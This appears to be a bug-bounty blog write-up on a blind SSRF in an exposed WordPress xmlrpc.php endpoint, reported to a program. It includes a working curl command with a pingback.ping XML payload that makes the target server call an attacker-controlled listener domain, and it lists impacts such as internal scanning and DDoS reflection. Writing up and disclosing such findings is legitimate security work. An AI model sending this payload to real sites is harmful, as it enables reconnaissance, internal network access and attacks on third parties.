This bug is called BLIND SSRF VIA XMLRPC PINGBACK METHOD.
While testing the website, I discovered that the WordPress XML-RPC endpoint (/xmlrpc.php) is exposed and accepts unauthenticated pingback.ping requests. This allows an attacker to force the server to initiate outbound HTTP requests to attacker-controlled domains.
This creates a blind Server-Side Request Forgery (SSRF) primitive. The attacker can use this behaviour to:
- Discover the origin IP and network position of the server
- Potentially scan/reach internal hosts (private IP ranges)
- Abuse the site as a DDoS reflector toward any external victim
How to find it:
- Visit https://www.redacted.com/xmlrpc.php and check if it accessable or not if it is forbbiben it will show 403 FORBIDDEN. But if it is open you will see something like this:
- Prepare an out-of-band listener (Burp Collaborator / Interactsh)
- Capture its unique callback URL (e.g.,
http://<attacker-domain>.oast.me) - Send the request::
curl -s -H "Content-Type: text/xml" \
--data '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://burpcollaburator.oastify.com</string></value></param>
<param><value><string>https://www.[REDACTED]</string></value></param>
</params>
</methodCall>' \
https://www.[REDACTED]/xmlrpc.php
- Observe DNS/HTTP requests received at the listener
Potential Impact this vulnerability can have is:
- Blind SSRF: attacker can direct server requests to arbitrary external or internal addresses
- Server IP / network exposure: internal network position leaked via callback
- DDoS amplification: a long-known attack vector abusing WordPress pingback functionality
- Possible interaction with internal admin panels, cloud metadata endpoints, or private infrastructure if reachable
No authentication required → botnet-style exploitation becomes trivial.
Below i am giving other hackerone reports for the same vuln:
Next, it was accepted by the program as a P4. I wasn't paid, though, but still got a certificate:
Like and follow if you enjoyed, and comment if you want an article on a specific topic.
Also, check out some other articles :
Stay curious. Stay dangerous. 💻🕶